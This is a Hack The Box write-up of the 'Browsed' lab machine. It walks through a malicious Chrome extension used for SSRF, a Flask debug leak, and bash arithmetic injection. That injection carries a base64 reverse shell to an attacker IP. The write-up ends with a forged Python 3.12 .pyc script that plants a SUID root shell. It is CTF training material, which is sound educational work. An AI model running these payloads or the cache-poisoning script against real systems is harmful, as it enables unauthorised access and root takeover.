> For the complete documentation index, see [llms.txt](https://threadpoolx.gitbook.io/docs/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://threadpoolx.gitbook.io/docs/htb-writeups/boxes/browsed-htb.md).

# Browsed HTB

## Browsed - Hack The Box Writeup

Difficulty: Medium OS: Linux Techniques: Chrome Extension SSRF, Flask Debug Analysis, Bash Arithmetic Injection, Python 3.12 Bytecode Forgery.

### 1. Reconnaissance

The target exposes a web interface on port 80 designed for managing Chrome Extensions.

* Functionality: Users can upload a ZIP file containing a Chrome extension.

  <a class="button secondary"></a>
* Observation: Upon upload, the site says "Extension submitted for review." A few seconds later, the status updates.
* Hypothesis: A bot (likely a headless browser) on the server side is installing our extension and running it. This opens the door for Server-Side Request Forgery (SSRF) via the browser's context.

***

### 2. Vulnerability Discovery

#### Step 1: Internal Port Scanning (SSRF)

Since we control the extension code running on the server, we can issue HTTP requests from `localhost`. We crafted a "Scanner" extension (`content.js`) to probe for internal web services.

Discovery: The extension successfully fetched data from `http://127.0.0.1:5000/`, revealing an internal Flask application.

#### Step 2: Information Leak via Flask Debugger

We directed the extension to fuzz endpoints on the internal app (`/routines/<id>`). When we sent a malformed request (e.g., `/routines/test'`), The server responded with a 500 Internal Server Error.

Critical Find: The application had `FLASK_DEBUG=1` enabled. The error page exposed the Python stack trace, leaking the exact backend logic:

Python

```
# Leaked Source Code from Debugger
cmd = "./check_routine.sh " + routine_id
output = subprocess.check_output(cmd, shell=True)
```

#### Step 3: Bash Arithmetic Injection

The code passes our input (`routine_id`) directly to a bash script. Testing revealed that while numbers worked (`/routines/5`), standard command injection separators (`/routines/5;id`) caused syntax errors.

This behavior confirms the script uses Bash Arithmetic Evaluation (`(( ))` or `let`). In this context, standard separators are invalid, but Array Indexing is allowed.

* Technique: `a[$(command)]`
* Logic: Bash must execute the command inside `$(...)` to determine the array index *before* performing the math operations.

***

### 3. Exploitation (User Flag)

#### The Exploit Package

We package the SSRF payload into a valid Chrome Extension.

1\. `manifest.json`

JSON

```
{
  "manifest_version": 3,
  "name": "Exploit",
  "version": "1.0",
  "permissions": ["scripting"],
  "host_permissions": ["http://*/*"],
  "content_scripts": [
    {
      "matches": ["<all_urls>"],
      "js": ["content.js"]
    }
  ]
}
```

2\. `content.js` This script runs in the server's browser. It encodes a reverse shell payload and injects it into the bash arithmetic context.

JavaScript

```
// Target: Internal Flask App
const target = "http://127.0.0.1:5000/routines/";

// Payload: Base64 encoded reverse shell
// Decodes to: bash -c 'bash -i >& /dev/tcp/10.10.14.x/9001 0>&1'
const shellCmd = "bash -c 'bash -i >& /dev/tcp/10.10.14.X/9001 0>&1'";
const b64Shell = btoa(shellCmd);

// The Injection: a[$(...)] triggers execution inside (( ))
const exploit = "a[$(echo%20" + b64Shell + "|base64%20-d|bash)]";

// Trigger SSRF
fetch(target + exploit, { mode: "no-cors" });
```

Steps:

1. Zip files: `zip exploit.zip manifest.json content.js`
2. Start listener: `nc -lvnp 9001`
3. Upload `exploit.zip`.
4. Result: Reverse shell as user `larry`.

***

### 4. Privilege Escalation (Root Flag)

#### Enumeration

User `larry` has a specific sudo capability:

Bash

```
sudo -l
# (root) NOPASSWD: /opt/extensiontool/extension_tool.py
```

Checking the directory permissions:

Bash

```
ls -la /opt/extensiontool/
# drwxrwxrwx 2 root root ... __pycache__
```

The `__pycache__` directory is world-writable. This allows us to perform a Bytecode Hijacking attack.

#### The Problem: Python 3.12 Verification

The server runs Python 3.12. Unlike older versions, Python 3.12 validates cached bytecode (`.pyc`) by checking two factors in the 16-byte header:

1. Timestamp: Must match the source file exactly.
2. File Size: Must match the source file exactly.

If we simply compile a malicious script, the file size will differ, and Python will ignore our cache and recompile the legitimate source.

#### The Solution: Header Forgery

We must manually forge the `.pyc` file. We read the metadata from the legitimate root-owned file and construct a header that perfectly impersonates it.

Exploit Script (`pwn.py`) Create this file on the target machine:

Python

```
import os, marshal, struct

# Paths
orig = "/opt/extensiontool/extension_utils.py"
pyc = "/opt/extensiontool/__pycache__/extension_utils.cpython-312.pyc"

# 1. Extract "Gold Standard" Metadata
# We need the exact mtime and size of the root-owned source file
st = os.stat(orig)

# 2. Forge the 16-Byte Header
# Python 3.12 Header: [Magic 4B] [Bitfield 4B] [Timestamp 4B] [Size 4B]
header = (
    bytes.fromhex("cb0d0d0a") +        # Magic Number (Python 3.12)
    b"\x00" * 4 +                      # Bitfield (Standard)
    struct.pack("<I", int(st.st_mtime)) + # Timestamp (Little Endian)
    struct.pack("<I", st.st_size)         # File Size (Little Endian)
)

# 3. The Payload
# This code executes immediately when the module is imported
code = """
import os
try:
    # Create a SUID binary for persistence
    os.system("cp /bin/bash /tmp/rootbash; chmod 4755 /tmp/rootbash")
except: pass

# Mock functions to satisfy imports and prevent crashes
def validate_manifest(p): return True
def clean_temp_files(p, e): return True
"""

# 4. Write the Poisoned .pyc
# Delete old cache (folder is writable) and write the forged one
try: os.remove(pyc)
except: pass

with open(pyc, "wb") as f:
    f.write(header)
    marshal.dump(compile(code, "extension_utils.py", "exec"), f)

print("[+] Exploit written successfully.")
```

Execution:

1. Run the forgery: `python3 /tmp/pwn.py`
2. Trigger the sudo command: `sudo /opt/extensiontool/extension_tool.py --ext Fontify`
   * *Python sees the perfect header, trusts the cache, and executes our code.*
3. Enter Root: `/tmp/rootbash -p`

#### Conclusion

Browsed demonstrated that "write access" to a folder is "write access" to the files within it, even if the files themselves are owned by root. By understanding the deep internals of Python 3.12's caching mechanism, we bypassed modern integrity checks to achieve privilege escalation.
